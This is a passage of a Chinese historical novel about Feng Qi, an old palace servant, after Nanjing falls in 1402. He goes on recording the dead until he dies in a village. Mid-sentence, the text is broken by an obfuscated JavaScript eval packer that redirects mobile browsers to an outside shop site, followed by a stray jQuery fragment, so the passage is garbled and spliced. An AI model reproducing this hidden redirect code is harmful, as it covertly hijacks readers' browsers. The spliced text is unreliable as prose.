建文四年六月，南京城破。
冯七抱着木匣走出织造署大门的时候，街上已经没有什么人了。店铺的门板都上了，窗户也关得严严实实，整条街空荡荡的，只有地上散落着一些乱七八糟的东西——一只鞋，一顶帽子，几片碎瓦，一滩不知道是水还是血的黑乎乎的东西。远处还有零星的喊声和哭声，但都隔得很远，像是另一个世界的声音。
他沿着秦淮河走。河水还是那样，绿莹莹的，泛着油腻的光，河面上漂着一些落叶和杂物。岸边的柳树还在，比他四十年前刚来南京的时候粗了好几圈，树皮皴裂，枝条低垂，像一个个驼背的老人。四十年前他站在这里看秦淮河的时候，才十五岁。如今他五十五岁了。
他走得很慢，不是因为走不动，是因为不着急。他没有目的地，只是想往南走，走到一个没有人认识他的地方。但走了几条街，他忽然发现，自己不知道该往哪里去。南京城他住了四十年，每一条街、每一座桥、每一家店铺他都熟悉。但此刻，这座熟悉的城市忽然变得陌生了。不是城市变了，是他变了。
他在一座石桥上停了下来，把木匣放在桥栏上，靠着栏杆喘气。桥上有一个老头，比他还要老，头发全白了，脸上的皱纹像刀刻的一样，穿着一件破破烂烂的灰色袍子，蹲在桥栏边，手里拿着一根鱼竿。鱼竿伸到河里，浮漂一动不动。老头蹲在那里，像是蹲了一辈子。
冯七看着他，忽然想笑。南京城都破了，燕王的军队都打进来了，这个老头还在钓鱼。他钓的是鱼，还是时间？不知道。但冯七觉得，这个老头比他聪明。钓得到钓不到不重要，重要的是，他在做一件他能做的事。不像冯七，他做的事情——记住——太大了，大到他一辈子都做不完。
老头似乎感觉到了他的目光，抬起头来，看了他一眼。那双眼睛浑浊得像两口干涸的井，但里面有一种东西，一种说不清的东西，不是平静，不是麻木，是——无所谓。天塌了也无所谓，地陷了也无所谓，谁当皇帝也无所谓。他钓他的鱼，别的什么都不管。冯七忽然很羡慕他。
他在桥上站了很久，久到腿都麻了。他抱着木匣，走下石桥，继续往南走。走了不知道多久，他发现自己在往织造署的方向走——不是织造署，是织造署附近的一处地方。安王府。不，安王府早就不在了，那块地早就被别人占了，盖了新的房子，住了新的人。但他还是想去看一眼，看最后一眼。
安王府的旧址上，如今是一座道观。道观不大，只有一进院子，正殿供着三清，偏殿供着财神。院子里有一棵槐树，很粗，很老，比秦淮河边上的柳树还要粗。槐树的叶子已经落了大半，光秃秃的枝丫伸向灰蒙蒙的天空，像一张张开的、没有手指的手。冯七站在槐树下面，抬起头，看着那些枝丫。四十年前的春天，赵珩在这棵槐树下站着，穿着一件月白色的长衫，头发束着，没有戴冠。他站在槐树下，仰着头看那些刚长出来的嫩芽，对冯七说：“南京的春天，比京城早一个月。”
那是洪武元年的事。赵珩在南京只住了一年多，就走了，再也没有回来。但他住过的地方，站过的树下，看过的天空，都还在。槐树还在，天空还在，秦淮河还在。只有他不在了。
冯七在槐树下站了很久。他把木匣放在树根旁边，蹲下来，用手摸了摸树根。树根很粗，很硬，像一条条蛇从地里钻出来，又钻回去。他摸着那些树根，觉得它们像是这个城市的血管。血液从这里流出去，流到每一条街道，每一座房子，每一个人的身体里。然后流回来，流回这棵树的根部，流回地底下，流回谁也看不见的地方。
他在槐树下坐了一会儿。然后站起来，抱起木匣，走出了道观。
洪武三十五年——不，现在是建文四年，还是永乐元年？冯七已经分不清了。年号换得太快，他还没来得及习惯新皇的年号，新皇已经被推翻了。燕王朱棣攻入南京，建文帝不知所踪。有人说是烧死了，有人说是跑掉了，有人说他出了家，当了和尚。众说纷纭，莫衷一是。
冯七在笔记上写道：
“建文四年六月，燕王入京。帝不知所踪。”
“与前朝崇文皇帝自焚事，何其相似。”
“历史重复自己，人亦重复自己。”
“奴才不想重复。奴才只想记住。”
他写完之后，把笔放下，看着那几行字。墨迹还没干，在纸上泛着湿润的光泽。那些字像一双双眼睛，看着他，问他：你还要写多久？写到写不动的那一天。他在心里说。那一天什么时候来？不知道。但总会来的。在那之前，他要一直写。
永乐元年，冯七搬到了南京城外的一座小村庄里。村庄很小，只有十几户人家，在秦淮河的下游，靠近长江。村里的人大多是渔民和农民，没见过什么世面，也不知道外面的世界发生了什么事。他们只知道，皇帝换了，年号改了，日子还是要一样过。
冯七在村东头租了一间小屋。小屋只有一间，用土坯砌成，屋顶铺着稻草，冬冷夏热，雨天漏雨，晴天漏风。但冯七不在乎。他在浣衣局住过，在康王府的偏院里住过，什么样的房子都住过。能有个地方待着，有口饭吃，有张床睡，就够了。他把木匣放在床头，每天睡前都要打开看一遍。那些纸已经泛黄发脆，边角一碰就碎。但他还是要看。不看，睡不着。
村里的人不知道他的来历。只知道他是个老头，不爱说话，每天关在屋里写字，写得多了就拿去灶里烧。他们不知道他写的是什么，也不想知道。老头的事，和他们没关系。冯七也不解释。解释也没用。他们不会懂，也不需要懂。
永乐五年的春天，冯七病了。病得很重，浑身发烫，嗓子像被火烧过一样，说不出话。他躺在床上，抱着木匣，觉得自己可能要死了。他不怕死。等了这么多年，盼了这么多年，死终于来了。他只是觉得不甘心。还有那么多事没写，那么多人没记住。他死了，那些人和事就真的死了，再也没有人知道。他想写，但手没有力气，笔都握不住。
他躺在床上，睁着眼睛，看着头顶的房梁。房梁上有一只蜘蛛在结网，一圈一圈地绕，绕得很慢，但很认真。他在织一张很小的网，小到只能捕到一只蚊子。但它还是在织，因为那是它活着的意义。
冯七看着那只蜘蛛，忽然想起了很多年前，在御书房里，赵珩握着他的手，一笔一划地教他写字。赵珩说：“你的字太紧了。人紧张的时候，字就紧。你得放松。”他放松了。他把手放在床上，让手指舒展开来，像一朵花慢慢地开放。他闭上眼睛。在黑暗中，他看到了很多人——苏公公，赵珩，冯六，周公公，曹寅，小顺子，顾文昭，周统领。他们站在他面前，看着他，有的在笑，有的在哭，有的面无表情。
“我记不住了吗？”他在心里问。
没有人回答。但他觉得，苏公公好像在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680445|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笑，笑得很淡，和他活着的时候一样。赵珩也在笑，笑得很温暖，像春天的太阳。冯六也在笑，笑得很腼腆，像个孩子。
冯七睁开眼睛，看着头顶的房梁。蜘蛛还在结网，一圈一圈地绕。他忽然有了力气。他慢慢地坐起来，从枕头底下摸出那支笔。笔杆上的“安生”两个字已经彻底磨没了，但他知道那两个字在哪里。不用看，用手摸就能摸到。
他铺开一张纸，提起笔，蘸了墨。手还在抖，但他咬着牙，一笔一划地写。写得歪歪扭扭的，像小孩子写的，但每一个字都认得。
“永乐五年春，奴才病，以为将死。然未死。”
“未死，则续写。”
写完之后，他把笔放下，看着那几行字。墨迹还没干，在纸上泛着湿润的光泽。他笑了。不是好笑，是高兴。他还活着。活着就好。活着就还能写。
他把纸折好，塞进木匣里。木匣已经换了第三个了，这个最大，是用樟木打的，能装不少东西。他把木匣盖好，抱在怀里，躺下来。
窗外的月亮很圆，很亮，照得屋子里像白天一样。他睁着眼睛，看着头顶的房梁。蜘蛛不在了，网还在，空荡荡的，在风中轻轻摇晃。他闭上眼睛。黑暗中，他摸着脖子上的玉扳指和铜钱，摸着枕头底下的那支笔。三样东西贴在一起，温热的，像是在彼此取暖。
他忽然想起了赵珩说的最后一句话——“你替我活着。”他活着，替赵珩活着。他还活着，还在写着，还在记着。赵珩就还活着，还在写着，还在记着。苏公公也还活着，冯六也还活着，周公公也还活着，曹寅也还活着，小顺子也还活着。所有死去的人，都还活着。在他的记忆里，在他的笔记里，在他写的每一个字里。
冯七抱着木匣，在月光中睡着了。这一夜，他没有做梦。或者做了，但不记得了。不记得的梦，和没做过，有什么区别？没有区别。就像不记得的人，和没活过一样。他不想让任何人被忘记。所以他写，一直写，写到写不动的那一天。
那一天的早晨，冯七没有醒来。
他躺在床上，抱着木匣，闭着眼睛，脸上带着一丝淡淡的笑意。那笑容很淡，淡得几乎看不出来，但如果你仔细看，就能看到。
窗外，太阳升起来了。阳光透过窗纸照进来，落在他的脸上，落在他的手上，落在他怀里的木匣上。他的手还握着那支笔。笔杆上的字已经磨没了，但痕迹还在，像一道浅浅的疤痕。
村里的人发现他死了，把他埋在了村后面的山坡上。没有墓碑，没有名字，只有一个小小的土堆，长满了青草。没有人知道他叫什么，从哪里来，做什么的。只知道他是个老头，不爱说话，每天关在屋里写字。写了很多年，写了很多纸，写完就烧。有人问他写的是什么，他不说。时间久了，就没人问了。
很多年以后，一个放牛的孩子在山坡上玩，发现了那个土堆。土堆已经塌了，长满了野草和灌木。孩子用脚踢了踢，踢出了一个小小的木匣。木匣已经朽了，轻轻一碰就散了。里面掉出来一堆纸，泛黄的，发脆的，有些已经碎了，被风吹散了，像蝴蝶一样在空中飞舞。孩子捡起一张，看了看，看不懂，扔了。又捡起一张，还是看不懂，又扔了。风把那些纸吹得到处都是，有的落在草丛里，有的落在树枝上，有的落在溪水里，跟着水流走了。
那些纸上写着什么，没有人知道。知道的人，都已经死了。